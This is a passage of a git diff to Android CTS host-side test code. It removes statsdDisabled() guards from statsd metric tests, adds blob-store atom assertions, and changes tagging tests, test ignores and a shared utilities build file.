+        Thread.sleep(WAIT_TIME_SHORT);
+
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
+
+        List<EventMetricData> data = getEventMetricDataList();
+        assertThat(data).hasSize(3);
+
+        BlobCommitted blobCommitted = data.get(0).getAtom().getBlobCommitted();
+        final long blobId = blobCommitted.getBlobId();
+        final long blobSize = blobCommitted.getSize();
+        assertThat(blobCommitted.getUid()).isEqualTo(getUid());
+        assertThat(blobId).isNotEqualTo(0);
+        assertThat(blobSize).isNotEqualTo(0);
+        assertThat(blobCommitted.getResult()).isEqualTo(BlobCommitted.Result.SUCCESS);
+
+        BlobLeased blobLeased = data.get(1).getAtom().getBlobLeased();
+        assertThat(blobLeased.getUid()).isEqualTo(getUid());
+        assertThat(blobLeased.getBlobId()).isEqualTo(blobId);
+        assertThat(blobLeased.getSize()).isEqualTo(blobSize);
+        assertThat(blobLeased.getResult()).isEqualTo(BlobLeased.Result.SUCCESS);
+
+        BlobOpened blobOpened = data.get(2).getAtom().getBlobOpened();
+        assertThat(blobOpened.getUid()).isEqualTo(getUid());
+        assertThat(blobOpened.getBlobId()).isEqualTo(blobId);
+        assertThat(blobOpened.getSize()).isEqualTo(blobSize);
+        assertThat(blobOpened.getResult()).isEqualTo(BlobOpened.Result.SUCCESS);
+    }
+
+    // Constants that match the constants for AtomTests#testBlobStore
+    private static final long BLOB_COMMIT_CALLBACK_TIMEOUT_SEC = 5;
+    private static final long BLOB_EXPIRY_DURATION_MS = 24 * 60 * 60 * 1000;
+    private static final long BLOB_FILE_SIZE_BYTES = 23 * 1024L;
+    private static final long BLOB_LEASE_EXPIRY_DURATION_MS = 60 * 60 * 1000;
+
+    public void testPulledBlobStoreStats() throws Exception {
+        StatsdConfig.Builder config = createConfigBuilder();
+        addGaugeAtomWithDimensions(config,
+                Atom.BLOB_INFO_FIELD_NUMBER,
+                null);
+        uploadConfig(config);
+
+        final long testStartTimeMs = System.currentTimeMillis();
+        Thread.sleep(WAIT_TIME_SHORT);
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBlobStore");
+        Thread.sleep(WAIT_TIME_LONG);
+        setAppBreadcrumbPredicate();
+        Thread.sleep(WAIT_TIME_SHORT);
+
+        // Add commit callback time to test end time to account for async execution
+        final long testEndTimeMs =
+                System.currentTimeMillis() + BLOB_COMMIT_CALLBACK_TIMEOUT_SEC * 1000;
+
+        // Find the BlobInfo for the blob created in the test run
+        AtomsProto.BlobInfo blobInfo = null;
+        for (Atom atom : getGaugeMetricDataList()) {
+            if (atom.hasBlobInfo()) {
+                final AtomsProto.BlobInfo temp = atom.getBlobInfo();
+                if (temp.getCommitters().getCommitter(0).getUid() == getUid()) {
+                    blobInfo = temp;
+                    break;
+                }
+            }
+        }
+        assertThat(blobInfo).isNotNull();
+
+        assertThat(blobInfo.getSize()).isEqualTo(BLOB_FILE_SIZE_BYTES);
+
+        // Check that expiry time is reasonable
+        assertThat(blobInfo.getExpiryTimestampMillis()).isGreaterThan(
+                testStartTimeMs + BLOB_EXPIRY_DURATION_MS);
+        assertThat(blobInfo.getExpiryTimestampMillis()).isLessThan(
+                testEndTimeMs + BLOB_EXPIRY_DURATION_MS);
+
+        // Check that commit time is reasonable
+        final long commitTimeMs = blobInfo.getCommitters().getCommitter(
+                0).getCommitTimestampMillis();
+        assertThat(commitTimeMs).isGreaterThan(testStartTimeMs);
+        assertThat(commitTimeMs).isLessThan(testEndTimeMs);
+
+        // Check that WHITELIST and PRIVATE access mode flags are set
+        assertThat(blobInfo.getCommitters().getCommitter(0).getAccessMode()).isEqualTo(0b1001);
+        assertThat(blobInfo.getCommitters().getCommitter(0).getNumWhitelistedPackage()).isEqualTo(
+                1);
+
+        assertThat(blobInfo.getLeasees().getLeaseeCount()).isGreaterThan(0);
+        assertThat(blobInfo.getLeasees().getLeasee(0).getUid()).isEqualTo(getUid());
+
+        // Check that lease expiry time is reasonable
+        final long leaseExpiryMs = blobInfo.getLeasees().getLeasee(
+                0).getLeaseExpiryTimestampMillis();
+        assertThat(leaseExpiryMs).isGreaterThan(testStartTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+        assertThat(leaseExpiryMs).isLessThan(testEndTimeMs + BLOB_LEASE_EXPIRY_DURATION_MS);
+    }
+
     private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
         assertThat(rxb).isGreaterThan(0L);
         assertThat(txb).isGreaterThan(0L);
@@ -2035,7 +2034,6 @@
 
     private void doTestMobileBytesTransferThat(int atomTag, ThrowingPredicate p)
             throws Throwable {
-        if (statsdDisabled()) return;
         if (!hasFeature(FEATURE_TELEPHONY, true)) return;
 
         // Get MobileBytesTransfer as a simple gauge metric.
@@ -2075,9 +2073,6 @@
     }
 
     public void testPackageInstallerV2MetricsReported() throws Throwable {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
         final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
                 new String[]{TEST_INSTALL_APK});
@@ -2092,9 +2087,6 @@
     }
 
     public void testPackageInstallerV2MetricsReportedForSplits() throws Throwable {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_INCREMENTAL_DELIVERY, true)) return;
 
         final AtomsProto.PackageInstallerV2Reported report = installPackageUsingV2AndGetReport(
@@ -2112,9 +2104,6 @@
     }
 
     public void testAppForegroundBackground() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         Set<Integer> onStates = new HashSet<>(Arrays.asList(
                 AppUsageEventOccurred.EventType.MOVE_TO_FOREGROUND_VALUE));
         Set<Integer> offStates = new HashSet<>(Arrays.asList(
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
index 4c0e4e6..7022732 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
@@ -44,9 +44,6 @@
 
     // Tests that the statsd config is reset after the specified ttl.
     public void testConfigTtl() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final int TTL_TIME_SEC = 8;
         StatsdConfig.Builder config = getBaseConfig();
         config.setTtlInSeconds(TTL_TIME_SEC); // should reset in this many seconds.
@@ -76,6 +73,7 @@
             Thread.sleep(10);
         }
         doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
+        Thread.sleep(WAIT_TIME_SHORT);
         report = getStatsdStatsReport();
         LogUtil.CLog.d("got following statsdstats report: " + report.toString());
         foundActiveConfig = false;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
index 81eb4f5..9eccad6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
@@ -45,9 +45,6 @@
 public class CountMetricsTests extends DeviceAtomTestCase {
 
     public void testSimpleEventCountMetric() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int matcherId = 1;
         StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
         builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
@@ -72,9 +69,6 @@
         assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
     }
     public void testEventCountWithCondition() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int startMatcherId = 1;
         int endMatcherId = 2;
         int whatMatcherId = 3;
@@ -132,9 +126,6 @@
     }
 
     public void testEventCountWithConditionAndActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int startMatcherId = 1;
         int startMatcherLabel = 1;
         int endMatcherId = 2;
@@ -259,9 +250,6 @@
     }
 
     public void testPartialBucketCountMetric() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         int matcherId = 1;
         StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
         builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
@@ -316,9 +304,6 @@
     }
 
     public void testSlicedStateCountMetric() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_BLUETOOTH_LE, true)) return;
 
         int whatMatcherId = 3;
@@ -430,10 +415,6 @@
     }
 
     public void testSlicedStateCountMetricNoReset() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         int whatMatcherId = 3;
         int stateId = 4;
         int onStateGroupId = 5;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
index 75d86a8..1a553b2 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
@@ -48,10 +48,6 @@
     private static final int APP_BREADCRUMB_REPORTED_B_MATCH_STOP_ID = 3;
 
     public void testDurationMetric() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int label = 1;
         // Add AtomMatchers.
         AtomMatcher startAtomMatcher =
@@ -105,10 +101,6 @@
     }
 
     public void testDurationMetricWithCondition() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int durationLabel = 1;
         final int conditionLabel = 2;
 
@@ -218,10 +210,6 @@
     }
 
     public void testDurationMetricWithActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int activationMatcherId = 5;
         final int activationMatcherLabel = 5;
         final int ttlSec = 5;
@@ -311,10 +299,6 @@
     }
 
     public void testDurationMetricWithConditionAndActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int durationLabel = 1;
         final int conditionLabel = 2;
         final int activationMatcherId = 5;
@@ -488,9 +472,6 @@
     }
 
     public void testDurationMetricWithDimension() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // Add AtomMatchers.
         AtomMatcher startAtomMatcherA =
             MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
index 16c3baf..2280e13 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
@@ -47,9 +47,6 @@
   private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
 
   public void testGaugeMetric() throws Exception {
-      if (statsdDisabled()) {
-        return;
-      }
       // Add AtomMatcher's.
       AtomMatcher startAtomMatcher =
           MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
@@ -149,9 +146,6 @@
   }
 
   public void testPulledGaugeMetricWithActivation() throws Exception {
-      if (statsdDisabled()) {
-        return;
-      }
       // Add AtomMatcher's.
       int activationAtomMatcherId = 1;
       int activationAtomMatcherLabel = 1;
@@ -202,10 +196,6 @@
   }
 
     public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int conditionLabel = 2;
         final int activationMatcherId = 5;
         final int activationMatcherLabel = 5;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index b976678..59e455b 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -154,10 +154,6 @@
      * Metric 3: No activations; always active
      **/
     public void testCancellation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int act1TtlSecs = 5;
         final int act2TtlSecs = 8;
         uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
@@ -255,10 +251,6 @@
      * Metric 3: No activations; always active
      **/
     public void testRestart() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int act1TtlSecs = 100;
         final int act2TtlSecs = 200;
         uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
@@ -411,10 +403,6 @@
      * Metric 3: No activations; always active
      **/
     public void testMultipleActivations() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int act1TtlSecs = 100;
         final int act2TtlSecs = 200;
         uploadConfig(createConfig(act1TtlSecs, act2TtlSecs));
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
index 2b2eee7..0cf5bbb 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
@@ -37,6 +37,7 @@
 import com.android.os.AtomsProto.Atom;
 import com.android.os.AtomsProto.SystemElapsedRealtime;
 import com.android.os.StatsLog.StatsLogReport;
+import com.android.os.StatsLog.StatsLogReport.BucketDropReason;
 import com.android.os.StatsLog.ValueBucketInfo;
 import com.android.os.StatsLog.ValueMetricData;
 
@@ -48,9 +49,6 @@
   private static final int APP_BREADCRUMB_REPORTED_B_MATCH_START_ID = 2;
 
   public void testValueMetric() throws Exception {
-    if (statsdDisabled()) {
-      return;
-    }
     // Add AtomMatcher's.
     AtomMatcher startAtomMatcher =
         MetricsUtils.startAtomMatcher(APP_BREADCRUMB_REPORTED_A_MATCH_START_ID);
@@ -114,9 +112,6 @@
 
   // Test value metric with pulled atoms and across multiple buckets
   public void testPullerAcrossBuckets() throws Exception {
-    if (statsdDisabled()) {
-      return;
-    }
     // Add AtomMatcher's.
     final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
     final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
@@ -194,9 +189,6 @@
 
   // Test value metric with pulled atoms and across multiple buckets
   public void testMultipleEventsPerBucket() throws Exception {
-    if (statsdDisabled()) {
-      return;
-    }
     // Add AtomMatcher's.
     final String predicateTrueName = "APP_BREADCRUMB_REPORTED_START";
     final String predicateFalseName = "APP_BREADCRUMB_REPORTED_STOP";
@@ -278,10 +270,6 @@
 
   // Test value metric with pulled atoms and across multiple buckets
   public void testPullerAcrossBucketsWithActivation() throws Exception {
-    if (statsdDisabled()) {
-      return;
-    }
-
     StatsdConfig.Builder builder = createConfigBuilder();
 
     // Add AtomMatcher's.
@@ -330,14 +318,15 @@
     StatsLogReport metricReport = getStatsLogReport();
     LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
     assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
-    assertThat(metricReport.hasValueMetrics()).isFalse();
+    assertThat(metricReport.getValueMetrics().getDataList()).isEmpty();
+    // Bucket is skipped because metric is not activated.
+    assertThat(metricReport.getValueMetrics().getSkippedList()).isNotEmpty();
+    assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEventList()).isNotEmpty();
+    assertThat(metricReport.getValueMetrics().getSkipped(0).getDropEvent(0).getDropReason())
+            .isEqualTo(BucketDropReason.NO_DATA);
   }
 
     public void testValueMetricWithConditionAndActivation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-
         final int conditionLabel = 2;
         final int activationMatcherId = 5;
         final int activationMatcherLabel = 5;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
index dab7f0f..8554de3 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
@@ -33,9 +33,6 @@
 
     // Tests that every report has at least one snapshot.
     public void testUidSnapshotIncluded() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         // There should be at least the test app installed during the test setup.
         createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
 
@@ -67,9 +64,6 @@
 
     // Tests that delta event included during app installation.
     public void testChangeFromInstallation() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
         createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
         // Install the package after the config is sent to statsd. The uid map is not guaranteed to
@@ -96,9 +90,6 @@
 
     // We check that a re-installation gives a change event (similar to an app upgrade).
     public void testChangeFromReinstall() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), false, true);
         createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
@@ -122,9 +113,6 @@
     }
 
     public void testChangeFromUninstall() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
         createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
index 95dbaa6..125a32a 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
@@ -82,14 +82,11 @@
     */
 
     public void testPowerUse() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
         resetBatteryStats();
         unplugDevice();
 
-        final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.8; // ratio that statsd and bs can differ
+        final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.7; // ratio that statsd and bs can differ
 
         StatsdConfig.Builder config = createConfigBuilder();
         addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_USE_FIELD_NUMBER, null);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
index bd14fa4..5b42aa9 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
@@ -44,33 +44,30 @@
     private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
 
     public void testProcessStatePssValue() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         final String fileName = "PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt";
         StatsdConfig config = createValidationUtil().getConfig(fileName);
         LogUtil.CLog.d("Updating the following config:\n" + config.toString());
         uploadConfig(config);
         clearProcStats();
-        Thread.sleep(WAIT_TIME_SHORT);
+        toggleScreenAndSleep(WAIT_TIME_SHORT);
 
         // foreground service
         executeForegroundService();
-        Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
+        toggleScreenAndSleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
         // background
         executeBackgroundService(ACTION_BACKGROUND_SLEEP);
-        Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
+        toggleScreenAndSleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
         // top
         executeForegroundActivity(ACTION_LONG_SLEEP_WHILE_TOP);
-        Thread.sleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
+        toggleScreenAndSleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
         // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
         executeBackgroundService(ACTION_END_IMMEDIATELY);
         final int cacheTime = 2_000; // process should be in cached state for up to this long
-        Thread.sleep(cacheTime);
+        toggleScreenAndSleep(cacheTime);
         // foreground
         // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
         executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
-        Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
+        toggleScreenAndSleep(EXTRA_WAIT_TIME_MS + 5_000);
 
         // Sorted list of events in order in which they occurred.
         List<ValueMetricData> statsdData = getValueMetricDataList();
@@ -105,10 +102,15 @@
         assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
     }
 
+    private void toggleScreenAndSleep(final long duration) throws Exception {
+        final long half = duration >> 1;
+        Thread.sleep(half);
+        turnScreenOff();
+        Thread.sleep(half);
+        turnScreenOn();
+    }
+
     public void testProcessStateByPulling() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         startProcStatsTesting();
         clearProcStats();
         Thread.sleep(WAIT_TIME_SHORT);
@@ -195,9 +197,6 @@
          * Temporarily disable this test as the proc stats data being pulled into the statsd
          * doesn't include the pkg part now.
          *
-        if (statsdDisabled()) {
-            return;
-        }
         startProcStatsTesting();
         clearProcStats();
         Thread.sleep(WAIT_TIME_SHORT);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index f72a7a5..87f6840 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -79,9 +79,6 @@
     }
 
     public void testPartialWakelock() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
         resetBatteryStats();
         unplugDevice();
@@ -140,9 +137,6 @@
 
     @RestrictedBuildTest
     public void testPartialWakelockDuration() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
 
         // getUid() needs shell command via ADB. turnScreenOff() sometimes let system go to suspend.
@@ -211,9 +205,6 @@
     }
 
     public void testPartialWakelockLoad() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
         if (!ENABLE_LOAD_TEST) return;
         turnScreenOn(); // To ensure that the ScreenOff later gets logged.
         uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
diff --git a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
index c42faa2..674226c 100644
--- a/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
+++ b/hostsidetests/systemui/src/android/host/systemui/TvMicrophoneCaptureIndicatorTest.java
@@ -37,12 +37,14 @@
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
 import org.junit.After;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 import java.util.List;
 
+@Ignore
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class TvMicrophoneCaptureIndicatorTest extends BaseHostJUnit4Test {
     private static final String SHELL_AM_START_FG_SERVICE =
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
index 7fac92e..294ec00 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingBaseTest.java
@@ -27,11 +27,11 @@
     protected boolean supportsTaggedPointers = false;
 
     private boolean supportsTaggedPointers() throws Exception {
-        if (runCommand("grep 'Processor.*aarch64' /proc/cpuinfo").isEmpty()) {
+        String kernelVersion = runCommand("uname -rm");
+        if (!kernelVersion.contains("aarch64")) {
             return false;
         }
 
-        String kernelVersion = runCommand("uname -r");
         String kernelVersionSplit[] = kernelVersion.split("\\.");
         if (kernelVersionSplit.length < 2) {
             return false;
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingDefaultTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingDefaultTest.java
index 6e99c4e..266c60b 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingDefaultTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingDefaultTest.java
@@ -31,6 +31,11 @@
         installPackage(TEST_APK, true);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG, true);
+    }
+
     public void testCompatFeatureEnabled() throws Exception {
         if (supportsTaggedPointers) {
             runDeviceCompatTest(TEST_PKG, ".TaggingTest", "testHeapTaggingEnabled",
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingDisabledTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingDisabledTest.java
index 50d6df3..fcbd905 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingDisabledTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingDisabledTest.java
@@ -31,6 +31,11 @@
         installPackage(TEST_APK, true);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG, true);
+    }
+
     public void testCompatFeatureEnabled() throws Exception {
         // Checking for supportsTaggedPointers is unnecessary here, as we don't
         // validate against reportDisabledChanges.
diff --git a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingEnabledTest.java b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingEnabledTest.java
index 6b31626..a578e50 100644
--- a/hostsidetests/tagging/src/com/android/cts/tagging/TaggingEnabledTest.java
+++ b/hostsidetests/tagging/src/com/android/cts/tagging/TaggingEnabledTest.java
@@ -31,6 +31,11 @@
         installPackage(TEST_APK, true);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(TEST_PKG, true);
+    }
+
     public void testCompatFeatureEnabled() throws Exception {
         if (!supportsTaggedPointers) {
             return;
diff --git a/hostsidetests/utils/Android.bp b/hostsidetests/utils/Android.bp
new file mode 100644
index 0000000..0930f91
--- /dev/null
+++ b/hostsidetests/utils/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+java_library_host {
+    name: "cts-host-utils",
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+    ],
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java b/hostsidetests/utils/src/android/cts/host/utils/DeviceJUnit4ClassRunnerWithParameters.java
similarity index 97%
rename from hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java
rename to hostsidetests/utils/src/android/cts/host/utils/DeviceJUnit4ClassRunnerWithParameters.java
index 944e258..7f8e07e 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java
+++ b/hostsidetests/utils/src/android/cts/host/utils/DeviceJUnit4ClassRunnerWithParameters.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,7 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package android.media.cts.bitstreams;
+package android.cts.host.utils;
 
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4Parameterized.java b/hostsidetests/utils/src/android/cts/host/utils/DeviceJUnit4Parameterized.java
similarity index 97%
rename from hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4Parameterized.java
rename to hostsidetests/utils/src/android/cts/host/utils/DeviceJUnit4Parameterized.java
index ea7ce7f..114678d 100644
--- a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4Parameterized.java
+++ b/hostsidetests/utils/src/android/cts/host/utils/DeviceJUnit4Parameterized.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -13,7 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
-package android.media.cts.bitstreams;
+package android.cts.host.utils;
 
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.ConfigurationException;
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
index bf7aa1e..cb77517 100644
